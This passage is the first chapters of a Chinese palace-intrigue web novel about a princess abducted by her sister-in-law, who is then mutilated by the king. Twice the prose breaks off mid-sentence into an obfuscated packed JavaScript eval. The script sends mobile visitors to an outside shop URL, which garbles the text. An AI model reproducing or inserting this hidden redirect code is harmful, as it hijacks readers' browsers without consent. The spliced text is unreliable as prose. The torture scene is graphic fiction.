《将军,妖妃今夜有召》 1. 沉默(1) 血? 黑暗中,康缇也分不清自己是睁着眼,还是闭着眼,是醒着的,还是梦着的。只感觉额顶冒着凉气,一道冰冷黏腻的液滴顺着脸颊滑落,挟着丝丝腥气。 “流血了?” 康缇下意识想去摸摸额头,却发现根本动弹不得,周身都被束缚住了,全身上下,唯有脖子以上和脚腕以下能动。 “糟了,不是做梦。” 康缇敛回心神,仔细回想昏迷前的事。 先前,康缇十岁生辰,王兄康朔赐了一匹纯血红骍马,她好生喜欢。近来得了王兄的许可,便赶紧择一晴明之日,牵着那红骍马,带着婢女和侍卫,去了金凉城郊行猎玩耍。 康缇身量不高,胆量却不小,小手紧握缰绳,跨坐在高大的马背上,像一棵刚破土的小松树。她用稚嫩蓬勃的声音呼喝着,驰骋在碧野之间,畅意如飞,好不自在。一张红扑扑的小圆脸,是朔北冬日的骄阳,越是被风吹着,越是清明灼亮。 这一番疾驰,却令随行侍卫心惊胆战。一个个心提到嗓子眼儿,紧随其后,护其左右,目不转睛地盯着这位西康小公主,生怕她出点差池。 初生牛犊不怕虎。半大主子最难伺候,玩心大,爱刺激,愣头青一样。见众人惶惶追来,康缇更来劲儿了,扬鞭策马,一团流火绝尘而去,将众人远远甩在后面,只留下一阵爽朗的笑声。 不出意外的话,意外就要发生了。 康缇驰出数里,回望不见人影,想必侍卫们跟丢了,便拉紧缰绳停了下来。 恰在此时,一支冷箭裂空而至,正中红骍马颈。马匹惊厥,长鸣一声,癫狂奔窜。康缇惊魂未定,一不留神被甩了下来,在地上滚了好几圈。 她支撑起半截身子,再抬头时,周围多出十几个蒙面大汉,个个手持刀棍,向她逼近。她咬着牙,迅速从地上爬起来,对众人厉声喝道:“我乃西康公主,尔等贼人,从何而来,见本公主还不跪伏?!” “哼。”为首的一名大汉,手持长棍,冷声嗤道:“我等擒的正是西康公主。” 言罢,那人扑面而来,给了康缇一记闷棍。康缇顿时两眼一黑,再醒来时,便是此刻。 眼前是一片漆黑,偶闻风声呜咽,但四周却无风流动,只是单纯的阴冷,还有些许霉味。康缇猜测,这或许是某个地窖或者暗室。 “定是那个阿史那贱妇所为!”康缇唯一的仇人,就是王嫂阿史那格青。她料定,除了王嫂,再无人如此大胆。 阿史那格青,突厥贺鲁部公主,传闻她承袭母族萨满之能,可通神明,窥见未来。 五年前,格青预言王兄康朔早晚有一天入主中原,坐在那九五之尊的皇位上。王兄一时高兴,便娶了她,封为西康王后。 康缇一向不喜欢这位王嫂,因为自从她嫁入西康,每逢大典祭祀,原本立于王兄身侧、接受各部朝拜的康缇,就变成了格青;接待中原使臣、赐宴各部贵胄时,主位之旁的席位,也成了格青的。康缇只能坐在下首,看着那个异族女人讨厌的身影。 她抢了自己的位置不说,王庭众人竟也趋炎附势,纷纷赞颂她与王兄康朔是日月同辉、刚柔相济。可康缇认为,一个外族女人,凭什么与她的王兄并肩而立?若真要论血脉相连、阴阳相契,那也该是她与王兄才对。他们是一母同胞的兄妹,同承康姓,都是父王的血脉。 为此,康缇没少使性子。 她悄悄将马粪掺入格青的香炉中,故意在典礼前藏起王妃的头冠……然而,格青从未责怪,还总在察觉康缇不悦后,主动将显眼的位置腾出给她。 呵,康缇才不领情呢。这个女孩儿以王兄为荣,虽未学会王兄那套帝王心术,但学会了王兄的不可一世。 所以格青越是宽容谦和,她越是厌恶这位王后。在康缇眼中,这不过是沽名钓誉的手段。 好在王兄并未上贱妇的当。不管康缇如何挑衅王后,他从不会责怪,即便有臣子提醒“王后受辱,恐伤两部和睦”,他也只是不屑地笑一声。 可正是因为这份偏袒,令格青心生妒忌,终于露出了真面目。 她自恃有预言未来之能,大放厥词,说康朔日后必有一生死劫,便是康缇,当早早防患。 康朔闻言大怒,将王后从部族带来的仆从都逐出城外,余下婢女悉数遣往别处职守。自此,格青身侧竟无一人侍奉,孤影清灯,形同幽禁。 可歹人怎会就此罢手? 如今康缇身陷险境,都是拜王嫂所赐。 十岁的孩子,初生牛犊不怕虎的年纪,什么歹人都不怕,唯独怕黑。黑暗中有魑魅魍魉,诸般鬼祟,肯定也是格青这个贱人使坏。 康缇小小的身躯蜷缩在黑暗中,脑中尽是鬼魅幢影,仿佛下一刻便有青面獠牙的妖物扑将上来,将她剖心挖肝。若真如此,她必死无疑,再也见不着王兄了。 想到这,她浑身直哆嗦,蓦然大声嘶吼着:“来人啊!放我出去!” “阿史那贱妇,我知是你干的!我必撕烂你的臭嘴!” “你敢害我,王兄定将你剁碎喂狼!” …… 喊声在四壁间撞了许久,却无半点回应。恐惧如冰水浸透骨髓,康缇终于撑不住,放声大哭起来。哭声凄厉,夹着一声声“王兄、王兄”的呜咽,格外锥心。 就在她哭得快没力气时,不远处传来吱嘎声,随即一片昏黄光亮透入,渐渐映出周遭轮廓,原是处废弃的藏兵洞,土壁斑驳,蛛网垂结。 这时,一道纤影逆光而入,素色劲装,步伐迅捷。 “缇儿,你怎么样了?” 这声音,康缇非常熟悉,正是王嫂格青。 她快步近前,身后还跟着三名武士。康缇认出其中一个,正是击晕自己的恶徒。她猛地收起眼泪,双目赤红,冲着格青怒吼道:“贱妇,果真是你!我定要王兄剁了你的手脚喂狼!” 格青并未动怒,她俯身蹲下,指尖轻触康缇额头上的伤疤,转而对身后之人嗔道:“她还是个孩子,何以下手这么重?!” 那三名武士相互看了看,赶紧低下头。 康缇见她这般作态,又骂道:“装什么装!若非你授意,这些走狗怎敢伤我!” 格青依旧不与她计较,用沉静温和的声音道:“缇儿莫怕,我不会害你,只是……有些事……关乎你王兄的安危,也关乎西康与十六部的未来,不得不委屈你了。不过你且宽心,我会送你去贺鲁部,那里天野相接,碧草如海,牛羊似云落平川,是个好地方。去了那里,我母亲会照顾你,视你如己出,疼你护你,伴你长大。” “呸!谁稀罕!”康缇啐道,“贱妇,你要么杀了我,要么送我回去。别以为我不知道,什么预言灾祸,你分明是想离间我与王兄。我告诉你,王兄绝不会饶你,你等着受死吧!” “我宁可一死,也要护他周全。”格青一字一顿地说完,便令身后的武士将康缇抱起带走,安置在一辆马车上,几人驾车远去。 康缇怎会乖乖跟她走,奈何身不能动,便用头撞击车板,咚咚声如闷雷。格青见状,急忙将她紧紧抱住,康缇挣扎不脱,便扭头发狠咬住格青手腕,直至腥甜渗齿,格青却只闷哼一声,臂弯丝毫未松…… 这一顿颠簸哭闹,康缇终是力竭,昏昏沉沉睡了过去。 再醒来时,早已离开了金凉城。 一路上景随途易,山川形胜徐徐铺展。戈壁上砾石接天,驼刺颤风;夕照碱滩,如金箔散落;远山显雪顶,寒林松涛起…… 说起来,康缇虽非长锁深闺,却也从未踏出金凉城。这般苍茫浩渺的天地,竟是头一回见。一路车马兼程,她都顾不上与格青闹腾,总探着小脑袋到处看。 “这是何地?”她问。 “已是西康边境。”格青指向远处,“再往前便是赤谷关。今日须穿越前方峡谷,在谷中泉眼处歇宿一夜。” “歇宿?”康缇环顾四野,“此地空空荡荡,如何歇宿?” 格青笑道:“天为帐,地为席,夜来繁星垂幔,怎么会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062455|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空荡呢?” 正说着,一只苍鹰长唳掠空,双翼舒展,在穹窿间乘风盘旋。康缇仰首望着,竟一时出神。鹰,她是见过的。从前在猎场,只道是一只猛禽,是君王威仪的点缀,而今天地陡然开阔,这猛禽方显出神威。 待苍鹰飞远,从视野中消失,一股热烈而惆怅的情愫悄然漫上康缇心头。她觉得这一刻的自己,与前一刻大不相同,却又说不清是什么不同。她觉得体内似有什么东西在疯长,却又没见丝毫变化。 这种难以名状的感觉,让她躁动不安,又无法宣之于口。于是,她这几日愈发变得古怪,时而欢喜,时而惘然,时而愤怒,时而悲伤…… 不过,格青总是有办法在她作闹时,将她那双澄澈的眼睛引向别处。有时是一座奇峰,有时是一只沙狐,有时是天上星宿,有时是古老的传说……夜深野宿时,康缇怕黑,格青便将她揽入怀中,给她唱歌。 她的歌里总是唱到“阿娜”。 “风轻轻,草青青;女儿心是天上星;阿娜教咱们,歌儿唱给夜晚听,空山深处有回音……” 康缇听得入神,忘了恐惧,也忘了记恨,仰起脸问:“阿娜是谁?” 格青犹豫了一下,摸摸她的头,回答道:“是我们最爱的人。” 康缇思索一阵,板起小脸,凶巴巴地说:“王兄是我的阿娜,你不能抢。” 格青“噗嗤”一声笑了:“放心,阿娜的生命,在血脉里流淌。只要好好活着,阿娜不会被抢走的。” 这话说得云里雾里的,康缇没太听懂,但一想到血脉中有“阿娜”这般有趣的东西,心底便生出淡淡的暖意。 她往王嫂怀中靠了靠,闭上了眼睛。 王嫂的身体格外柔软。 康缇记忆中从未有过母亲。她只知这世上,兄长为天,兄长为王,不可失倚。至于旁的女子,不论年岁长幼,都是仆婢一般的命。她们的心思与气力都该用在伺候主君、夫君与孩儿身上。格青虽为王妃,但也不例外。 而康缇自己,尽管她清楚,自己终有一日要长大,成为“女人”。可她又隐隐觉得,自己断不会与其他女子一样。她只会是主人,像王兄那样的主人。 这份底气是与生俱来的,谁让她是西康的公主,是西康王心尖上的明月。只要有王兄在,便是命运也要对她退让三分,永远许她一份豁免权。 如此,她更不必感激那些照料过她的女子,尤其是格青。 不过,也多亏了格青,她才得以见到外面的天地,真是辽阔呢。 ﹡ 这日,天色渐晚,几人岩隙背风处架起篝火,围坐旁边歇息。格青取出干粮分与众人。康缇接过那硬邦邦青稞饼,啃了两口便拧起眉尖,扬手掷入火中。 “日日皆是这猪狗之食,真当我是畜生吗?”她抱怨道。 格青递来了水囊,安慰道:“别急,桑其往北沟寻猎去了,或许能猎到野兔山雉,今夜滋味便不同,再不济也能找些沙棘野枣吃。” 言罢,没过多久,坡上忽传来沉实脚步声。那个叫桑其的汉子阔步而回,手中果真拎着一只野鸡。 “格青公主,看我猎到了什么。”桑其举起那只野鸡,炫耀地晃了晃。 就在这时,一道黑影闪过。 咻—— 一支箭破空而来,从后背贯穿桑其的身体,令这个魁梧的身躯顿时僵住。桑其喉头一哽,缓缓低头,只见胸口鲜血汩汩涌出,他晃了两晃,便扑通一声摔倒在地。 “不好!” 格青大喊一声,迅速将康缇拽起,护在身后,一步步退至一棵树后,严阵以待,双目扫向箭来的方向。 这时,坡沿处忽现火光,那是一个个火把在暮色中闪烁,星星点点,连绵成一条火龙,自四面岩坡漫卷而下。在铁甲碰撞声中,数十位黑甲侍卫列阵,如铁桶般将格青等人团团围住。 火光映照下,为首的将领按刀出列,铁面盔下传出沉冷的声音:“末将卫颜,奉王命特来迎公主回金凉。” 2. 沉默(2) 康缇见是卫颜,便从格青身后探出脑袋,眼中顿时绽出光彩:“卫将军,王兄来了吗?”说着,她便要挣开格青的手,向那阵列奔去。 刚跑没两步,腕上又是一紧,她再次被格青拉住。“康缇不能回去。”格青对卫颜道,“请回禀王上,康缇公主安好,不必担心。” “放肆!”卫颜冷嗤道,“违抗王命、私挟公主出宫,已是死罪。此刻若束手就擒,或可留你全尸。” 话音未落,格青身后仅存的两名贺鲁部武士已拔出刀,向对面扑去,企图杀出一条通路。 奈何对方人多势众,随着卫颜轻轻摆手,十数支箭矢袭来,直接穿透了二人的身体。两名武士倒地的同时,四名黑甲侍卫下马上前,直扑格青,三招两式,便将她按跪在地。 格青挣扎抬头,发簪早已脱落,长发散乱地披在肩背。她望向被侍卫护在中间的康缇,眼底有什么东西剧烈翻涌,最终却只化作一声叹息:“缇儿,缇儿……无论如何,莫伤他。” 康缇被这眼神钉在原地,尚来不及反应,就被卫颜亲自送上马车:“公主受惊了,末将这便护送您回宫。” 临走前,康缇忍不住回头。火光摇曳中,她看见格青被铁链锁住双手,坐在另一匹马上,左右各有一名侍卫看着她。格青始终挺直着背脊,散乱的发丝间,一双眼睛沉静如水,无喜无悲。康缇看着这张向来可憎的脸,此刻竟有着殉道者般的静穆。 车帘落下,隔绝了视线,车轮碾过碎石,向金凉城疾驰。 一趟短暂的旅程就此结束。 康缇蜷在车内的坐垫上,掌心却无意识地攥紧了,她反复回想着卫颜那句“违抗王命、私挟公主,已是死罪……” “王兄会处死王嫂吗?”康缇心说,“不会吧,毕竟是王妃,怎会说处死就处死呢?再者,格青也并未把我怎样,不至于……” 她越是这样想,心里越是发毛。 不知不觉想起七岁那年,波斯国使臣献来一只通体雪白的狮子猫,一双碧眼如琉璃,甚是漂亮。王兄将其送给康缇。她非常喜欢,不仅专设猫奴伺候,更命人用江南的越罗为它裁制小衫,每夜必要搂在怀中才能安眠。 某日春深,她抱猫在花园玩耍。那猫儿瞧见枝头麻雀,竟猛地挣出怀抱,纵身扑去。新生的利爪掠过康缇手背,霎时留下两道殷红血痕。 傍晚,康缇与王兄一起用膳,王兄一眼便瞥见她手上的血痕。他搁下银箸,转向康缇的婢女,面露愠容,低声问道:“怎么弄的?” 婢女道清原委,康朔听罢,面色未变,只命人将猫提来。未等康缇反应过来,康朔已经命人拿出皮鞭,抽向那只狮子猫。 鞭声响彻宫室,那团雪白的绒球,不停地惨叫翻滚,罗衫破碎,血珠飞溅,眼看就要成一团死肉。 就在猫儿断气之前,康朔扬手止住行刑。“带下去,用玉肌膏好生医治。” 他重新执起碗箸,语气平静如常,“缇儿莫怕,畜生不懂事,教训过便记住了,不可乱杀生。但若是仇敌,断不可留其喘息之机。” 康缇看着内侍捧走那血淋淋的一团,声音发颤:“可它……怕是……活不成了……” “你且放心,这畜生死不了的。宫中自有起死回生的灵药。”康朔夹起一块嫩嫩的蕨菜放进她碗中,“牲畜不通人言,罚一次便要让它永远记得,生死皆在你抬手之间。但更要紧的是,罚到极处再施恩,它才会将此次得生记作你的仁慈,否则它会恨你的,明白么?” 康缇木然地点头。 “乖,快吃吧。” 康缇哆哆嗦嗦端起碗,一言不发,只僵硬地往嘴里塞食物,却一口都咽不下去,喉头像是塞了棉花。 后来,猫儿果真痊愈了,伤口处新生绒毛更显雪白。只是这小家伙从此性情大变,不吃不喝,见人便躲,连康缇伸手也惊蹿而去。再后来,它彻底消失了。 几天后,内侍终于在废井边的乱草堆里找到这只狮子猫。只是,这小家伙已经死了,瘦得只剩一把骨头。是饿死的。 回金凉的途中,车辕碾过石块,猛地一颠,令康缇身子一歪,倏然从回忆中惊醒。 “我究竟在怕些什么?”康缇暗里嘲笑自己,“是那贱妇胡言乱语,还挟持了我,她本就该……” 即便在心里,她也说不出那个“死”字。 这几日相处下来,康缇觉得,格青也不总是那么讨厌。倘若她不总缠着王兄,说些不中听的话,康缇也是能容下这位王嫂的。毕竟,格青平日待她,还算彬彬有礼。加之这番“挟持”,虽并非康缇所愿,但她也扎扎实实见了天地,追过旱獭,玩了几日,好不快活。 若因此治格青死罪,未免过头了些。 “许是卫将军吓唬她的。”康缇盘坐于车中,自顾自地寻出个道理。她琢磨着,侍卫也是兵,他们与人交锋是有一套的,明明三分凶险,硬说是十分,好显出自己的威力。方才那“死罪”二字,想必也是这般,只为镇住场面,少费些擒拿的力气罢了。 对,定是如此。 王兄教诲过,对敌人不留活口,而对自己人,只罚不杀。格青就算再讨厌,也贵为王妃啊,怎会随随便便处死,至多像那狮子猫一样,被鞭子抽一顿,叫她记住痛而已。 猫儿娇弱,扛不住几鞭子,可格青是草原长大的,骑得了马,拉得开弓,难道还熬不住一顿鞭笞? 再者,狮子猫之死,是它自己不吃不喝,硬饿死的。而格青一个大活人,若王兄许她活,她还能自己绝食求死么? 这个念头让康缇稍稍定下心神。车帷外,天色愈暗,她将身子往锦垫深处缩了缩,兀自睡了。 卫颜带着队伍,日夜兼程,很快便到了金凉城郊五里亭。 康缇掀帘探向外面,见驿道旁赫然立着一顶牛皮大帐,帐前十数名侍卫按刀肃立。见车马近前,两名侍卫立即迎上,一人查验符节,引卫颜前行,另一人急转入帐内通禀。 不消片刻,牛皮帐帘“呼啦”一声掀起,三四道人影从帐中走出,为首者身着紫貂大氅,步履如风,疾行间氅摆翻涌如黑云。 此人麦色的面庞刚硬如刀削;一双狭长的眼眸锐气逼人,似鹰隼之韵;高鼻阔准间,隐隐藏着悍气;紧紧抿着的厚唇,平添一抹君王威严。 康缇眼眶一热,那样貌、那身量、那步态,正是王兄康朔。 也不知怎的,明明一路上并没遭到苛待,可一见到王兄,康缇心中还是委屈。她赶紧跳下车,飞奔着扑进康朔怀中,一股苦茶和安息香的味道扑面而来。 “缇儿。”康朔低声唤道,声音有些颤抖。 康缇仰起脸,这才看清,王兄消瘦了几分,本就棱角分明的轮廓更显嶙峋,眼下浮着两道淡青阴影,下颌也冒出许多胡茬。却唯独一双眼睛,映着她小小的身影,燃起了两簇幽光。 这分明是数夜未眠的模样。 康朔搜遍金凉城,不见妹妹的身影,便一直守在城外,不止一日一夜了。此番得见康缇,如心爱之物失而复得,激动地抱着她,手臂紧了又紧,下颌抵在康缇的头顶,良久。 这时,卫颜疾步上前,单膝叩地:“王上,罪妃阿史那氏……” 话音未落,康朔抱着康缇,转身走向营帐,掠过卫颜时,他冷声抛下一句:“带她进来。” 康缇被安置在帐角胡床上,抱着仆妇递来的暖手炉,悄悄望向王兄。他坐在火盆旁的矮榻上,把玩着一柄乌银匕首,将整个刃身都探入火中,烤得发红。火光在刃上跳动,映得他轮廓分明的脸忽明忽暗。 帐中安静得可怕,康缇的心不知不觉揪了起来,暗自宽慰自己:“王兄总不会当着我面杀王嫂吧?” 这时,格青被两名侍卫押来,按跪在地上。她抬眼看向自己的夫君,眼中是三分敬、三分惧,还有更多期待。 帐中无人言语,只有炭火噼里啪啦的声音,气氛十分压抑。 “青儿。”康朔忽然开口,声音竟带着诡异的暖意,“还记得五年前的长老会么?你闯进我帐中,要我娶你。那时你红衣烈马,眼睛亮得像星辰。” 格青身体微微一颤:“王上还记得……” “怎么不记得。”康朔将匕首搭在火盆沿上,刃身仍埋在火中烧着,然后转头看向自己的王妃,“那时,我刚统一了西境十六部,被诸方国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062456|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部落推举为盟首。你说一方盟首算什么,预言我会入主中原,成为天下之主。你还说倾慕于我,愿将贺鲁部的命运系于我身上。我信了,为你这份赤诚心动,娶你为后,许你半壁宫阙。可你又是如何回报我的?” “王上,臣妾的心意,至死不渝。只是那预言……”格青瞥了康缇一眼,又看向康朔,“王上的劫,亦是西康的劫,更是整个西境的劫,臣妾不得不……” “住口!” 康朔霍然起身,面色铁青,眼底寒光凛冽:“你用那些虚妄的预言,乱我国政,离间我至亲,这便是贺鲁部的忠诚?” 他步步逼近,最终停在格青面前,高大的身影完全罩住了她:“你既然能预言,就没预言过自己的生死吗?” 听到“死”字,康缇心口猛缩。她赤足滑下卧榻,怯生生挨近几步,声音细若蚊虫:“王嫂带我游玩了几日,缇儿有些累了,咱们何时回宫?” 康朔回头瞥了她一眼,眼中寒意未褪。一旁的仆妇会意,忙不迭上前将康缇半扶半抱回榻上,另有两名侍女慌慌张张围拢,煞有介事地伺候起来,企图将她隔开。 而跪在地上的格青,在听见那声“死”时,肩背反而放松下来。“这世上,无人能直视自己的眼睛,亦无人能预言自己的生死。”她的声音平静而悲伤,“臣妾钟情于王上,愿为王上赴死。这不是预言,是心愿。” 说罢,她抬眼望向夫君,过往种种在心中掠过,一时掉出泪来。 康朔缓缓蹲下,伸手帮她拭去眼泪:“好了,别哭了。你终究是我的王后,我怎会舍得杀你?” 格青怔住,露出难以置信的表情。 “只是……”康朔话音陡转,“今后,不必再多言了。” 说罢,他一只大手钳住格青的两腮,将她整个人仰面掼倒,后脑撞在地上,发出“哐当”一声闷响。 榻边的康缇听见异响,猛地挣开仆妇,扒开人缝望去。只见康朔跨跪在格青腰腹两侧,左手紧紧掐着她的下颌,迫使她发出“呜呜”的声音。 “来人!” 一声令下,侍卫们一拥而上,将格青按住。康朔抽身而起,抓来火盆上烧红的匕首,再次逼到格青身前。 “啊——啊——” 康缇听见格青撕心裂肺的叫声,极为刺耳,像是从野兽口中发出的。她疯了似的冲开仆妇,跑上前去劝阻,却在距离二人三步之外刹住了。 她透过侍卫间的缝隙,看见格青的嘴被人强行扳开,康朔的手紧攥匕首,刺向她口中,搅动了两下,很快抽出,刀尖上似乎多了个血淋淋的东西。 康朔起身,从侍卫中间退了出来,将匕首随意抛到一旁。康缇这才看清,那刀尖上竟是一块舌头。 她僵硬地看向众人,侍卫已经散开,留格青一人躺在地上,不停抽搐挣扎。她左边嘴角被刀刃豁开一道长口子,皮肉外翻,口中鲜血顺着这个口子涌出,糊了半张脸。她被鲜血呛着,不停咳嗽,不停喷出更多血沫。 这一幕惊得康缇魂飞魄散,呆愣在原地,不敢动弹。而康朔则淡定地掏出一块帕子,一边擦拭手上的鲜血,一边说道:“给王后止血。” 侍卫得令,再次按住格青,用铁钳夹起一块烧红的炭,径直向她的伤口烫去。 “嗤——” 皮肉焦糊的气味弥漫开来。 这一次,格青已经疼得发不出任何尖锐的声音,只有血沫在喉中咕噜咕噜地响。她艰难地偏过头,一双血泪模糊的眼睛正好对上康缇的视线。 那眼神里,有怨,有恨,更有无尽的悲凉。 她猛然想起自己的狮子猫。那猫在被王兄鞭笞时,也曾这样望过她。 “喵呜——” 恍惚间,康缇听见了猫叫。 她猛打一个激灵,环顾四周,到处寻找声音的来源,却没看到一只猫。然而,一声声“喵呜”一直回荡在耳边,声音越来越近,越来越大,越来越凄厉刺耳,仿佛无数尖爪已经在她颅内抓挠、撕扯。她头疼欲裂,眼前的场景也不受控制地扭曲、倾斜、旋转…… 终于,一个趔趄后,黑暗吞噬了一切。康缇整个人晕倒在地。 3. 沉默(3) 目睹了王兄手持利刃,割去王嫂的舌头之后,康缇就病了。 回宫当夜便起了高热,身如焚炭,唇际燎起一圈水泡。一连三日,汤药灌下去都不见好,人始终昏昏沉沉的。 康朔日夜不眠,不是守着康缇,亲自试药,就是跪在太庙,求神明护佑。甚至还到处张榜,广召天下能人,救治妹妹。 终于,一游方术士揭榜献策:西北雪峰深处有一凶兽,名曰寒狰。其胆入药,可镇惊邪,愈心焚。 此言一出,满堂哗然。 众臣以为,寒狰乃传说中的凶兽,盘踞雪山之巅,凶悍异常,此番去寻,只怕是有去无回。而康朔听罢,只吐出四字:“备马,取弓。” 他亲率精锐深入雪山,历经两日,果真寻得寒狰。 这畜生通体苍青,形如巨豹。众人与它恶斗至深夜,十余名兵士葬身兽爪之下,康朔的左臂也被撕开一道伤口,骨头都露了出来。 最终,他以身为饵,将淬了毒的短刀从寒狰下颌贯入颅脑,才将它杀死。 从这凶兽身上摘下的胆,被快马加鞭送回宫中。巫医以秘法炼制,给康缇服下。不过两个时辰,高热渐渐消退,次日清晨,她便醒了过来。 又一次失而复得。 康朔僵立在榻边,如蒙大赦一般,喜极而泣。他颤抖着,将妹妹紧紧搂在怀中,大声抽泣着,完全不顾及君王威仪。 康缇安静地依偎在王兄肩头,小手无意识地动了下,恰好触碰到他左臂包扎的伤口。她微微张口,刚要说些什么,却又抿住了嘴巴。 她,不会说话了。 康朔发现后,眼前猛地一黑,心口像插了一把生锈的刀。 他无法接受,自己拼了性命救回来的妹妹,再也喊不出一声“王兄”。这位君王发誓,无论如何都要治好妹妹的哑疾。 第一年,他试遍了所有的巫医和偏方,各种汤药、针灸舌底、舌血汤、生吞燕子蛋、喊魂借声……可康缇不仅没开口,更是抗拒所有治疗。若是被王兄逼急了,便开始绝食。 第三年,城中开始流传一种说法,称公主的哑疾,是当年强取寒狰胆,触怒了雪山之灵,降下了诅咒。康朔得知后,便亲手砍了当年那个游方术士的头。 第四年,一位僧人被请进宫,见过康缇后,得出结论:“公主是吉星入命,但误服寒狰之胆后,阴煞污了本源,以至喉窍闭塞。需在城中清净处建高塔,聚敛清气,令公主于塔中澄心自观,净化业障。” 于是,康朔即刻征调能工巧匠,斥巨资修建了璇玑塔。塔成之日,他亲自将康缇送入其中,原本满心期盼着,待到妹妹出塔之日,听她唤一声“王兄”,却不知道,自己正在失去她。 康缇的性子,愈发桀骜乖张。起初发作起来,不过摔砸器物,只要不作践自身,康朔尚可容忍,只当是孩童脾气。可她的破坏力随年岁增长,手段也越发刁钻莫测。有时作闹起来,甚至能撼动王庭的秩序。 当然,康缇也有被逮到现形的时候,她非但不怕,脸上的表情还更加得意。康朔后来才发觉,被逮到现形也是她故意的。 一年岁末庆典,康缇在璇玑塔上向下抛洒铜钱,说是播撒神赐恩泽,引得百姓哄抢。谁知那铜钱竟烧得通红滚烫,百姓抢到手里,个个烫得皮开肉绽,哭嚎一片。 打这起,金凉城百姓都知道,西康公主疯了。 那夜,康朔独自坐在死寂的殿中,拿着一枚已经冷却的铜钱端详,恍惚间,想起了格青。 她曾预言:王上的生死劫,便是康缇公主。 起初,康朔是不信的,可如今看康缇的种种行径,不得不心生畏惧,此后更是接二连三梦到格青。 梦中,格青冲着他微笑,笑得十分诡异。她左边嘴角有条长长的疤痕,向上延伸至耳边,那是当年割舍后留下的。事后医官曾为她缝合。但格青一笑,那疤痕便又一次裂开,鲜血也随之涌出,染红了半张脸…… 梦醒后,康朔除了恐惧,更多感受到的,是一股怒不可遏的情绪。格青,一个已死之人,凭什么那样对他笑? 他是西康的王,岂能坐以待毙,等着一个死人的诅咒应验? 俗话说,舍不得孩子,套不住狼。康朔觉得,是时候放手,让自己养出的娇花琼枝,见识见识外面的风雨。唯有如此,她才能知道,王兄是世间唯一的依靠。 但是,寻常风雨配不上康缇,那得是金子做的风雨。且这番苦,不能白吃,得为他西康王所用。 于是,一封国书自西康金凉城,远赴大雍国度兴安城。书中言,西康公主康缇,仰慕天朝风华,愿以姻亲永固邦谊。 西康公主康缇,要嫁给大雍皇帝李齐,一个年逾五十的天子。 ﹡ 一桩婚事,两国之君,一拍即合。 可雍都兴安城中,遇到一个难题——该派谁去迎亲? 康缇入雍,是要册立为妃的。依礼制,不是亲王郡王,也得是宰执重臣。 可眼下宗室凋零、皇子避嫌,宰辅更是分身乏术,只能从正四品以上的官员中,挑出一人,临时擢为三品,充作使臣。 一番权衡后,有一人渐渐浮出水面,便是桂州刺史严修明。 ﹡ 漓江的初春,正是湿寒侵骨的时节。连日的阴雨刚刚停罢,江风中裹着厚重水汽,一个扑面而来,打得人牙关打颤。 眼看春汛将至,去年秋后开工的这段堤防,还剩最后一段未曾合龙。辰时刚过,刺史府已急召军民上堤,务必赶在春汛之前,将这要命的缺口筑牢。 江堤边堆着凿好的青石板,装满糯米灰浆的陶瓮排成长列。数百兵卒民夫裹着半湿的麻衣短褐,在泥泞中呼喝协力,抬石、夯土、浇浆,呼出的白气堪比江雾,睫毛上都坠着水珠。 “脚底踩实,手上也麻利些!这段堤关乎一城性命,今日必须合龙,绝不能让春汛从这里撕开口子!”一声浑厚嘹亮的号令,在江边散开。说话之人,正是桂州刺史严修明。 他未着官服,上身一件半旧靛青短襦,外罩防水的油布坎肩,下身玄色缚裤扎进靴筒,挂满了尘土与泥浆。 桂州地偏人稀,民生多艰,此间的官员向来不比京师清贵体面。凡河工、城防、粮运诸事,上至刺史,下至佐吏,皆需亲赴一线,与兵民同甘共苦。 此刻,严修明正与几名壮卒合持一具石夯,喊着号子,在湿滑的堤基上,一下下奋力夯实。每次重夯发力时,他的脊背肌肉随之起伏,好像拳头一般,要撑破那件湿哒哒的襦衫。 “严大人!京中急递!”一名参军踩着泥水奔来,上气不接下气道,“快、快回府!有敕旨到,天使已至府衙。” 严修明停下手中动作,将石夯交给身旁兵卒,抹了把脸上的水汽,紧锁着眉头问道:“京师来的?何事?可是北疆又要打仗了?” “是密封御旨,传旨的是门下省的直官。”这名参军焦急道,“您还是赶紧回去接旨吧。” 严修明不再多问,迅速安排好堤上一应事务后,便匆匆赶回刺史府接旨。 这道旨意并未言明任何缘由,只令他立即交卸赴京,入京面圣。严修明心中掠过无数可能,北疆告急、西境生变、财赋大案……他甚至想过朝中倾轧,要将他这个边将卷入漩涡。独独没料到,这八百里加急的旨意,竟与一位素未谋面的异国公主有关。 他带上主簿赵衡并两名亲随,轻装简从,策马出城。一路向北,快马加鞭,不日便赶到兴安城,暂居礼部辖下的会同馆中。 当晚,皇城司大太监王承焕登门拜访。 这位老宦官须发花白,脸上却不见皱纹,言谈间笑意温煦,叫人如沐春风。见到严修明,他先拱手一揖:“严大人,请容某家先给您道声喜。” “王公,这喜从何来?”严修明微怔,“可是陛下有旨意?” “正是正是。”王承焕含笑点头,“陛下此番急召,为的两桩事。这第一桩,便是令尊之死,陛下已有圣裁。” “什么?”严修明蓦地绷直脊背。 八年了。 他二十岁那年,冀州民变,父亲奉命前去平乱,战死于呼沱河畔。 为将者,马革裹尸本是常事。况且,当年是父亲主动请命 